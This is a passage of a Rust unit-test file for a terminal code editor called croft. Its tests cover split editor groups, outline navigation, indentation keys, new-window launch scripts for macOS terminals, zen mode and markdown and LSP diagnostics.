        hdr.y,
    ));
    assert!(
        !app.outline.collapsed,
        "clicking the header expands the section"
    );
}

#[test]
fn clicking_an_outline_row_jumps_the_editor_to_that_symbol() {
    use crate::lsp::manager::OutlineKind;
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn a() {}\nfn b() {}\nfn c() {}\n");
    // Hermetic: ignore the user's real Outline-view pref (see scrollbar test).
    app.explorer_views = Default::default();
    let active = app.editor.path.clone().unwrap();
    app.outline.toggle_collapse(); // expand so rows render
    app.apply_outline_symbols(
        active,
        0,
        vec![
            outline_sym("a", OutlineKind::Function, 0, 0),
            outline_sym("b", OutlineKind::Function, 1, 1),
            outline_sym("c", OutlineKind::Function, 2, 2),
        ],
    );
    app.editor.cursor_row = 0;

    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let area = app.outline.last_area;
    // Header occupies the first inner row; symbol rows follow. Click the
    // second symbol ("b", line 1), which sits two rows below the header.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        area.x + 2,
        area.y + 2,
    ));
    assert_eq!(
        app.editor.cursor_row, 1,
        "clicking the second outline row must move the editor caret to line 1"
    );
}

#[test]
fn shift_tab_in_editor_dedents_the_current_python_line() {
    let tmp = tempfile::tempdir().unwrap();
    // Two 4-space levels so indent detection (#211) reads the file's step
    // as 4; the old single 8-space jump now detects (correctly) as one
    // 8-wide level.
    let mut app = app_with_open_file(
        tmp.path(),
        "snippet.py",
        "def f():\n    if x:\n        pass\n",
    );
    app.editor.cursor_row = 2;
    app.editor.cursor_col = 8;
    // Shift+Tab reaches the editor as BackTab.
    app.handle_editor_key(key(KeyCode::BackTab, KeyModifiers::SHIFT));
    assert_eq!(
        app.editor.lines[2], "    pass",
        "Shift+Tab must outdent the line one level"
    );
    assert_eq!(app.editor.cursor_col, 4);
}

#[test]
fn tab_in_editor_indents_a_multiline_python_selection() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "block.py", "a = 1\nb = 2\n");
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 5;
    app.editor.selection = Some(crate::widgets::editor::EditorSelection {
        anchor: (0, 0),
        head: (1, 5),
    });
    app.handle_editor_key(key(KeyCode::Tab, KeyModifiers::NONE));
    assert_eq!(app.editor.lines[0], "    a = 1");
    assert_eq!(app.editor.lines[1], "    b = 2");
}

#[test]
fn split_editor_duplicates_active_file_into_a_focused_right_group() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello\nworld\nthere");
    let path = app.editor.path.clone().unwrap();
    app.editor.cursor_row = 2;

    app.split_editor();

    assert!(
        app.editor_layout.is_split(),
        "split must create a second group"
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        1,
        "the new (focused) group lands in the RIGHT column, mirroring VS Code"
    );
    // `editor` is always the focused group: it is the new right duplicate.
    assert_eq!(
        app.editor.path.as_deref(),
        Some(path.as_path()),
        "the duplicate shows the same file"
    );
    assert_eq!(
        app.editor.cursor_row, 2,
        "the duplicate opens at the source cursor position, not the top"
    );
    assert_eq!(
        app.editor.tab_count(),
        1,
        "the new group holds exactly the file, with no stray blank tab"
    );
    // The original group survives in the left column.
    let groups = app.editor_layout.inactive_groups();
    assert_eq!(groups[0].path.as_deref(), Some(path.as_path()));
}

#[test]
fn split_down_makes_a_vertical_split_with_the_new_group_active_below() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello\nworld");
    let path = app.editor.path.clone().unwrap();

    app.split_editor_dir(editor_layout::SplitDir::Vertical, true);

    assert!(app.editor_layout.is_split());
    assert_eq!(
        app.editor_layout.root_split_dir(),
        Some(editor_layout::SplitDir::Vertical),
        "Split Down stacks the groups vertically"
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        1,
        "the new (focused) group is the LOWER leaf"
    );
    assert_eq!(app.editor.path.as_deref(), Some(path.as_path()));
    let groups = app.editor_layout.inactive_groups();
    assert_eq!(groups[0].path.as_deref(), Some(path.as_path()));
}

// Move/Copy into New Window spawn a REAL Ghostty window via `open`, so the
// happy path can't be exercised in a test without popping windows on the dev
// machine. These tests cover everything up to (and the shape of) the spawn:
// the refusal gates, the argv builder, and the `--open-file` launch open.

#[test]
fn new_window_is_refused_for_an_unsaved_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A fresh app has a single blank, path-less buffer — nothing to hand off.
    app.copy_into_new_window(0);
    assert!(
        app.status.contains("save the file first"),
        "the refusal is explained: {}",
        app.status
    );
    assert_eq!(app.editor.tab_count(), 1, "nothing was spawned or removed");
}

#[test]
fn new_window_is_refused_over_ssh_and_leaves_the_tab_in_place() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    // Over SSH croft runs on the headless host: there is no local window server.
    app.is_remote = true;
    let before = app.editor.tab_count();

    app.move_into_new_window(app.editor.active_index());

    assert!(
        app.status.contains("not available over SSH"),
        "the refusal is explained: {}",
        app.status
    );
    assert_eq!(
        app.editor.tab_count(),
        before,
        "Move is a no-op when it can't spawn — the file stays here"
    );
    assert!(app.editor.path.is_some());
}

#[cfg(target_os = "macos")]
#[test]
fn ghostty_open_argv_suppresses_the_stray_default_window() {
    use std::ffi::OsStr;
    let exe = std::path::Path::new("/usr/local/bin/croft");
    let root = std::path::Path::new("/home/me/project");
    let file = std::path::Path::new("/home/me/project/src/main.rs");
    let argv = ghostty_open_argv(exe, root, file);
    let argv: Vec<&OsStr> = argv.iter().map(|s| s.as_os_str()).collect();
    assert_eq!(
        argv,
        [
            OsStr::new("-na"),
            OsStr::new("Ghostty"),
            OsStr::new("--args"),
            // Empirically: without this a fresh instance opens a 2nd window.
            OsStr::new("--initial-window=false"),
            OsStr::new("--quit-after-last-window-closed=true"),
            OsStr::new("-e"),
            OsStr::new("/usr/local/bin/croft"),
            OsStr::new("/home/me/project"),
            OsStr::new("--open-file"),
            OsStr::new("/home/me/project/src/main.rs"),
            // Opens focused on the file.
            OsStr::new("--zen"),
        ],
        "one Ghostty window, focused on the file, no stray default window"
    );
}

#[cfg(target_os = "macos")]
#[test]
fn new_window_targets_the_host_terminal() {
    // The new window matches whatever terminal croft runs in, not always Ghostty.
    assert_eq!(
        detect_host_terminal(Some("iTerm.app"), None),
        HostTerminal::ITerm2
    );
    assert_eq!(
        detect_host_terminal(Some("ghostty"), None),
        HostTerminal::Ghostty
    );
    assert_eq!(
        detect_host_terminal(Some("Apple_Terminal"), None),
        HostTerminal::AppleTerminal
    );
    // Ghostty sometimes only exports TERM=xterm-ghostty.
    assert_eq!(
        detect_host_terminal(None, Some("xterm-ghostty")),
        HostTerminal::Ghostty
    );
    // An unrecognised terminal is reported by name, not silently mishandled.
    assert_eq!(
        detect_host_terminal(Some("WezTerm"), None),
        HostTerminal::Unknown("WezTerm".to_string())
    );
}

#[cfg(target_os = "macos")]
#[test]
fn iterm2_and_terminal_scripts_shell_quote_paths_with_spaces() {
    let exe = std::path::Path::new("/usr/local/bin/croft");
    let root = std::path::Path::new("/home/me/My Project");
    let file = std::path::Path::new("/home/me/My Project/a b.rs");

    let iterm = iterm2_new_window_script(exe, root, file);
    assert!(
        iterm
            .contains(r#"tell application "iTerm" to create window with default profile command "#),
        "{iterm}"
    );
    // Each path single-quoted so the space survives the shell.
    assert!(iterm.contains("'/home/me/My Project'"), "{iterm}");
    assert!(iterm.contains("'/home/me/My Project/a b.rs'"), "{iterm}");

    // The window opens focused on the file: --zen is part of the invocation.
    assert!(iterm.contains("--zen"), "{iterm}");

    let term = apple_terminal_new_window_script(exe, root, file);
    assert!(
        term.contains(r#"tell application "Terminal" to do script "#),
        "{term}"
    );
    assert!(
        term.contains("--open-file '/home/me/My Project/a b.rs' --zen"),
        "{term}"
    );
}

#[test]
fn zen_layout_collapses_explorer_and_terminal_and_survives_opening_a_file() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("hi.rs");
    std::fs::write(&file, "fn main() {}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Baseline: a normal launch shows both panes.
    assert!(app.show_tree, "explorer visible by default");
    assert!(app.show_terminal, "terminal visible by default");

    // This is exactly what `run(.., zen = true)` does.
    app.show_tree = false;
    app.show_terminal = false;
    app.open_file_at_launch(&file);

    // Opening the file (which focuses the editor) must NOT re-show the chrome.
    assert!(!app.show_tree, "--zen keeps the explorer collapsed");
    assert!(!app.show_terminal, "--zen keeps the terminal collapsed");
    assert_eq!(app.editor.path.as_deref(), Some(file.as_path()));
}

#[test]
fn open_file_at_launch_opens_the_file_and_focuses_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("hi.rs");
    std::fs::write(&file, "fn main() {}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_file_at_launch(&file);

    assert_eq!(
        app.editor.path.as_deref(),
        Some(file.as_path()),
        "`croft --open-file <path>` opens that file on launch"
    );
    assert!(
        app.focus == Pane::Editor,
        "the editor takes focus on launch open"
    );
}

#[test]
fn cmd_k_o_chords_route_to_the_new_window_actions() {
    let tmp = tempfile::tempdir().unwrap();
    // Blank/unsaved buffer: the chord is still handled, but the action refuses
    // (no path), so no real window is spawned during the test.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Cmd+K O -> Copy into New Window.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('o'), KeyModifiers::NONE)));
    assert!(
        app.status.contains("save the file first"),
        "Cmd+K O routes to Copy into New Window: {}",
        app.status
    );

    // Cmd+K Shift+O -> Move into New Window.
    app.status.clear();
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('o'), KeyModifiers::SHIFT)));
    assert!(
        app.status.contains("save the file first"),
        "Cmd+K Shift+O routes to Move into New Window: {}",
        app.status
    );
}

#[test]
fn tab_menu_window_actions_carry_the_clicked_tab_index() {
    let p = std::path::Path::new("/tmp/demo.rs");
    let items = build_tab_context_menu_items(2, 3, false, Some(p), false, false, false);
    assert!(matches!(
        menu_action_of(&items, "Move into New Window"),
        Some(MenuAction::MoveIntoNewWindow(2))
    ));
    assert!(matches!(
        menu_action_of(&items, "Copy into New Window"),
        Some(MenuAction::CopyIntoNewWindow(2))
    ));
    // Copy needs a real path; a blank buffer omits it but still offers Move.
    let blank = build_tab_context_menu_items(0, 1, false, None, false, false, false);
    assert!(menu_labels(&blank).contains(&"Move into New Window"));
    assert!(!menu_labels(&blank).contains(&"Copy into New Window"));
}

#[test]
fn split_right_then_split_down_yields_three_tiled_groups() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, true); // Split Right
    app.split_editor_dir(editor_layout::SplitDir::Vertical, true); // Split Down on the right group
    assert_eq!(
        app.editor_layout.leaf_count(),
        3,
        "repeated splitting builds a real grid, not a no-op"
    );
    // Left column full height; the right column is split top/bottom.
    let rects = app
        .editor_layout
        .leaf_rects(ratatui::layout::Rect::new(0, 0, 100, 40), 10);
    assert_eq!(rects.len(), 3);
    assert_eq!(rects[0], ratatui::layout::Rect::new(0, 0, 50, 40));
    assert_eq!(rects[1], ratatui::layout::Rect::new(50, 0, 50, 20));
    assert_eq!(rects[2], ratatui::layout::Rect::new(50, 20, 50, 20));
    // The newest (focused) group is the lower-right leaf.
    assert_eq!(app.editor_layout.active_dfs_index(), 2);
}

/// There are physically two image-overlay slots (left/right column); any
/// layout other than the two-column split bakes the active group into slot 0.
/// The focused side must therefore never index past the array: clicking a PDF
/// in the lower-right group of a three-way split panicked with
/// index-out-of-bounds before this was clamped.
#[test]
fn focused_image_side_stays_within_the_two_overlay_slots() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, true);
    app.split_editor_dir(editor_layout::SplitDir::Vertical, true);
    assert_eq!(app.editor_layout.active_dfs_index(), 2);
    assert!(
        app.focused_image_side() < 2,
        "focused_image_side must stay within overlays.editor"
    );
}

/// In a grid of three or more groups the render path bakes the ACTIVE group
/// into overlay slot 0 (`update_editor_image_overlay(0, active_area)`), so
/// slot 0's image gate, layout key and baked pixels must all resolve to the
/// active group. They used to resolve to the depth-first-0 group instead:
/// a focused PDF in the third group either got no preview at all (when the
/// dfs-0 group held a text file) or was keyed under the dfs-0 group's path
/// and froze on its first baked page.
#[test]
fn slot_zero_of_a_grid_resolves_to_the_active_group() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, true);
    app.split_editor_dir(editor_layout::SplitDir::Vertical, true);
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "B").unwrap();
    app.editor.open_pinned(&b).unwrap();
    assert_eq!(app.editor_layout.active_dfs_index(), 2);
    assert_eq!(
        app.group_on_side(0).and_then(|g| g.path.as_deref()),
        Some(b.as_path()),
        "slot 0 must be the active group in a 3+ grid"
    );
    assert!(
        app.group_on_side(1).is_none(),
        "slot 1 is dark in a 3+ grid; nothing may bake into it"
    );
}

#[test]
fn move_right_with_no_neighbor_creates_a_new_group_with_the_moved_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "A");
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "B").unwrap();
    app.editor.open_pinned(&b).unwrap(); // active group: a.txt + b.txt, active = b
    assert_eq!(app.editor.tab_count(), 2);
    app.move_active_editor(editor_layout::Dir::Right);
    assert_eq!(
        app.editor_layout.leaf_count(),
        2,
        "no neighbour to the right → a new group is created for the moved tab"
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "the moved tab is active in the new group"
    );
    let groups = app.editor_layout.inactive_groups();
    assert_eq!(groups.len(), 1);
    assert!(
        groups[0]
            .iter_tabs()
            .all(|e| e.path.as_deref() != Some(b.as_path())),
        "the source group no longer holds the moved tab"
    );
}

#[test]
fn move_left_into_an_existing_neighbor_relocates_and_collapses_the_emptied_source() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "A");
    let a = tmp.path().join("a.txt");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, true); // right group active, dup of a
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "B").unwrap();
    app.editor.open_preview(&b).unwrap(); // right group now shows b (single tab)
    assert_eq!(app.editor_layout.leaf_count(), 2);
    app.move_active_editor(editor_layout::Dir::Left); // move b into the left (a) group
    assert_eq!(
        app.editor_layout.leaf_count(),
        1,
        "the emptied right group collapses away"
    );
    let paths: Vec<_> = app
        .editor
        .iter_tabs()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(
        paths.iter().any(|p| p == &a) && paths.iter().any(|p| p == &b),
        "both a.txt and the moved b.txt now live in the surviving group: {paths:?}"
    );
}

#[test]
fn split_in_group_opens_a_second_view_of_the_active_file_beside_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "A");
    let a = tmp.path().join("a.txt");
    app.split_in_group();
    assert_eq!(app.editor_layout.leaf_count(), 2, "a second group appears");
    assert_eq!(app.editor.path.as_deref(), Some(a.as_path()));
    let groups = app.editor_layout.inactive_groups();
    assert_eq!(
        groups[0].path.as_deref(),
        Some(a.as_path()),
        "both groups show the same file"
    );
}

#[test]
fn split_up_makes_a_vertical_split_with_the_new_group_active_above() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hi");
    app.split_editor_dir(editor_layout::SplitDir::Vertical, false);
    assert_eq!(
        app.editor_layout.root_split_dir(),
        Some(editor_layout::SplitDir::Vertical)
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        0,
        "Split Up puts the new focused group in the UPPER leaf"
    );
}

#[test]
fn split_left_makes_a_horizontal_split_with_the_new_group_active_left() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hi");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, false);
    assert_eq!(
        app.editor_layout.root_split_dir(),
        Some(editor_layout::SplitDir::Horizontal)
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        0,
        "Split Left puts the new focused group in the LEFT leaf"
    );
}

#[test]
fn cmd_k_backslash_chord_splits_the_editor_up() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hi");
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.cmd_k_leader.is_some(), "Cmd+K arms the chord leader");
    app.handle_key(key(KeyCode::Char('\\'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.editor_layout.root_split_dir(),
        Some(editor_layout::SplitDir::Vertical),
        "Cmd+K Cmd+\\ splits the editor vertically"
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        0,
        "Cmd+K Cmd+\\ = Split Up (new group above); plain Cmd+\\ stays Split Right"
    );
}

#[test]
fn cmd_k_shift_backslash_chord_splits_in_group() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hi");
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.editor_layout.leaf_count(),
        2,
        "Cmd+K Shift+Cmd+\\ (Split in Group) opens a second view beside the file"
    );
}

#[test]
fn split_down_lays_the_groups_out_stacked_with_a_horizontal_seam() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hi");
    app.split_editor_dir(editor_layout::SplitDir::Vertical, true);
    let area = ratatui::layout::Rect::new(0, 0, 80, 24);
    let rects = app.editor_layout.leaf_rects(area, 10);
    assert_eq!(rects.len(), 2);
    assert_eq!(
        rects[0].x, rects[1].x,
        "stacked groups share the same column"
    );
    assert!(
        rects[0].y < rects[1].y,
        "the two groups stack top over bottom"
    );
    assert_eq!(
        rects[0].height + rects[1].height,
        area.height,
        "they tile the full height with the seam carrying no dedicated row"
    );
}

#[test]
fn split_editor_refuses_a_blank_unsaved_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.split_editor();
    assert!(
        !app.editor_layout.is_split(),
        "a blank buffer has no path to mirror, so split is refused"
    );
}

#[test]
fn opening_a_file_in_the_split_replaces_the_duplicate_instead_of_stacking() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "first");
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "second").unwrap();

    app.split_editor(); // right group = preview duplicate of a.txt
    assert_eq!(app.editor.tab_count(), 1);

    // Opening another file in the focused (right) column reuses the
    // preview slot rather than leaving the duplicate pinned beside it.
    app.editor.open_preview(&b).unwrap();
    assert_eq!(
        app.editor.tab_count(),
        1,
        "the right column swaps to the new file in place; the duplicate must not linger as a second tab"
    );
    assert_eq!(app.editor.path.as_deref(), Some(b.as_path()));
    // The left column is untouched, giving a true side-by-side of two files.
    let groups = app.editor_layout.inactive_groups();
    let left = groups[0];
    assert_eq!(left.tab_count(), 1);
    assert_eq!(
        left.path.as_deref(),
        Some(tmp.path().join("a.txt").as_path())
    );
}

#[test]
fn focus_editor_group_swaps_focus_but_keeps_physical_columns_fixed() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "left-original");
    let original = app.editor.path.clone().unwrap();
    app.split_editor(); // focus now on the right duplicate
    assert_eq!(app.editor_layout.active_dfs_index(), 1);

    // Move focus to the LEFT group (the original).
    app.focus_editor_group(true);
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        0,
        "focusing left makes the focused group the left column"
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(original.as_path()),
        "after the swap `editor` is the original left group"
    );
    assert!(
        app.editor.focused && !app.editor_layout.inactive_groups()[0].focused,
        "only the focused group's border lights up"
    );

    // Move focus back to the RIGHT group.
    app.focus_editor_group(false);
    assert_eq!(app.editor_layout.active_dfs_index(), 1);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(original.as_path()),
        "both columns hold the same duplicated file, so the path is unchanged; \
         the point is the swap is symmetric and never loses a group"
    );
}

#[test]
fn closing_last_tab_in_focused_group_collapses_the_split() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "body");
    app.split_editor();
    assert!(app.editor_layout.is_split());

    // Cmd+W closes the focused group's only tab -> the group empties and
    // the split collapses back to the surviving column.
    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();

    assert!(
        !app.editor_layout.is_split(),
        "emptying the focused group collapses the split"
    );
    assert_eq!(
        app.editor_layout.active_dfs_index(),
        0,
        "the collapsed state resets to the single-column default"
    );
    assert!(app.editor_seams.is_empty());
}

#[test]
fn editor_image_overlay_is_dual_slot_and_clear_ors_both_columns() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let layout = |name: &str| EditorImageLayout {
        cell_x: 0,
        cell_y: 0,
        cell_w: 10,
        cell_h: 10,
        path: tmp.path().join(name),
        page: 1,
        generation: 0,
    };
    // Both physical columns can hold an inline image at once.
    app.overlays.editor[0].set_test_state(Some("left-osc".into()), Some(layout("l.png")), true);
    app.overlays.editor[1].set_test_state(Some("right-osc".into()), Some(layout("r.png")), true);
    assert_eq!(
        app.editor_image_payload(0).map(|(o, _)| o),
        Some("left-osc")
    );
    assert_eq!(
        app.editor_image_payload(1).map(|(o, _)| o),
        Some("right-osc")
    );

    // Disabling the right slot arms a clear; `consume_editor_image_clear`
    // must report it even though the left slot is quiet.
    app.disable_editor_image(1);
    assert!(
        app.consume_editor_image_clear(),
        "a clear armed on either column must surface from the ORed consume"
    );
    assert!(
        !app.consume_editor_image_clear(),
        "the latch is one-shot and both slots were consumed"
    );
}

#[test]
fn editor_split_key_is_cmd_backslash_only() {
    assert!(is_editor_split_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::SUPER
    )));
    // Bare backslash is a literal character, not a split.
    assert!(!is_editor_split_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::NONE
    )));
    // Modified variants are reserved for other (future) chords.
    assert!(!is_editor_split_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
}

#[test]
fn focus_group_keys_are_cmd_opt_arrows_disjoint_from_word_motion() {
    assert!(is_focus_group_left_key(key(
        KeyCode::Left,
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(is_focus_group_right_key(key(
        KeyCode::Right,
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    // Plain Opt+Arrow is editor word-motion, NOT group focus.
    assert!(!is_focus_group_left_key(key(
        KeyCode::Left,
        KeyModifiers::ALT
    )));
    assert!(!is_focus_group_right_key(key(
        KeyCode::Right,
        KeyModifiers::ALT
    )));
}

#[test]
fn cmd_active_treats_super_as_command_everywhere() {
    // Super is the command modifier on every platform, Termux or not.
    assert!(cmd_active(KeyModifiers::SUPER, false));
    assert!(cmd_active(KeyModifiers::SUPER, true));
}

#[test]
fn cmd_active_treats_ctrl_as_command_only_on_termux() {
    // Termux (Android) has no Cmd key, so Ctrl stands in for it there
    // (VS Code's Linux keymap). Off Termux, Ctrl is NOT the command key.
    assert!(!cmd_active(KeyModifiers::CONTROL, false));
    assert!(cmd_active(KeyModifiers::CONTROL, true));
}

#[test]
fn cmd_active_rejects_bare_modifiers() {
    assert!(!cmd_active(KeyModifiers::NONE, true));
    assert!(!cmd_active(KeyModifiers::ALT, true));
    assert!(!cmd_active(KeyModifiers::SHIFT, true));
}

#[test]
fn editor_split_still_requires_super_off_termux() {
    // Regression guard: with no Termux env present (the test process),
    // Cmd+\ splits but Ctrl+\ does not — Ctrl+\ stays SIGQUIT for the shell.
    assert!(is_editor_split_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::SUPER
    )));
    assert!(!is_editor_split_key(key(
        KeyCode::Char('\\'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn terminal_cycle_still_requires_super_off_termux() {
    assert!(is_terminal_cycle_key(key(
        KeyCode::Char(']'),
        KeyModifiers::SUPER
    )));
    assert!(!is_terminal_cycle_key(key(
        KeyCode::Char(']'),
        KeyModifiers::CONTROL
    )));
    assert!(is_terminal_cycle_back_key(key(
        KeyCode::Char('['),
        KeyModifiers::SUPER
    )));
}

fn diag(
    start_char: u32,
    end_char: u32,
    severity: crate::lsp::manager::DiagnosticSeverity,
) -> crate::lsp::manager::Diagnostic {
    crate::lsp::manager::Diagnostic {
        start_line: 0,
        start_char,
        end_line: 0,
        end_char,
        severity,
        message: String::from("test"),
    }
}

#[test]
fn diagnostics_store_applies_to_the_active_editor_on_drain() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.ts");
    std::fs::write(&file, "const x = 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    // Seed the store as if vtsls had published a diagnostic for this file.
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("vtsls"),
        vec![diag(6, 7, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(file.clone(), by_server);
    // Nothing arrives on the channel, but the active file's diagnostics are
    // unapplied (a "tab switch"), so the drain must push the stored set in.
    let changed = app.drain_lsp_diagnostics();
    assert!(
        changed,
        "applying the stored diagnostics must mark a redraw"
    );
    assert_eq!(app.editor.diagnostics_path(), Some(file.as_path()));
    assert_eq!(
        app.editor.diagnostic_spans_for_test()[0],
        vec![(6, 7, DiagnosticSeverity::Error)],
    );
}

#[test]
fn sync_markdown_lint_flags_a_second_top_level_heading() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.md");
    std::fs::write(&file, "# Title\n\nBody.\n\n# Another\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    let changed = app.sync_markdown_lint();
    assert!(changed, "a fresh markdown tab must lint on first sync");
    assert_eq!(app.editor.diagnostics_path(), Some(file.as_path()));
    assert!(
        app.editor
            .diagnostic_spans_for_test()
            .iter()
            .any(|line| !line.is_empty()),
        "MD025 should have produced at least one squiggle"
    );
    let merged = app.merged_diagnostics(&file);
    assert!(merged.iter().any(|d| d.message.contains("MD025")));
}

#[test]
fn sync_markdown_lint_is_quiet_for_a_clean_document_and_reruns_only_on_edit() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("clean.md");
    std::fs::write(&file, "# Title\n\nA clean paragraph.\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    // A clean document has nothing to apply, so the first sync reports no
    // change even though it did run the linter once.
    assert!(!app.sync_markdown_lint());
    assert!(
        app.merged_diagnostics(&file).is_empty(),
        "a clean document must not be flagged"
    );
    // Re-syncing an unchanged buffer must be a no-op (gated by edit_seq).
    assert!(!app.sync_markdown_lint());

    // The other half of this test's name: an EDIT must bump edit_seq, get the
    // buffer re-linted, and surface the new violation. Without this the test
    // passed on a linter that never ran a second time.
    app.editor.goto_bottom();
    app.editor
        .insert_str_as("\n# Second Title\n", crate::provenance::Seat::Navigator);
    assert!(
        app.sync_markdown_lint(),
        "an edit that introduces a second H1 must re-lint and report a change"
    );
    assert!(
        app.merged_diagnostics(&file)
            .iter()
            .any(|d| d.message.contains("MD025")),
        "the second H1 must be flagged after the edit"
    );
}

/// Split panes hold separate buffers of one file, so after an edit in one
/// they carry different `edit_seq`s. The sync must settle on one pane per
/// path rather than alternate between the two, and must not report a change
/// when the diagnostics it stores are the ones already there: either would
/// re-lint and redraw on every tick forever.
#[test]
fn sync_markdown_lint_settles_after_a_split_pane_is_edited() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("doc.md");
    std::fs::write(&file, "# Title\n\n# Second Title\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.split_editor();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 7;
    app.editor.insert_char('!');
    assert!(
        app.sync_markdown_lint(),
        "the first lint stores diagnostics"
    );
    assert!(
        app.merged_diagnostics(&file)
            .iter()
            .any(|d| d.message.contains("MD025")),
        "the edited pane still has two H1s"
    );
    assert!(
        !app.sync_markdown_lint(),
        "nothing changed since the last tick"
    );
    assert!(!app.sync_markdown_lint(), "and it stays settled");
}

/// Two panes can reach the same `edit_seq` with different text (one edit in
/// each). Switching which pane is linted must still lint it: the cursor has
/// to recognise a different buffer, not just a different sequence number.
#[test]
fn sync_markdown_lint_relints_a_pane_with_the_same_seq_but_other_text() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("doc.md");
    std::fs::write(&file, "# Title\n\nplain\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
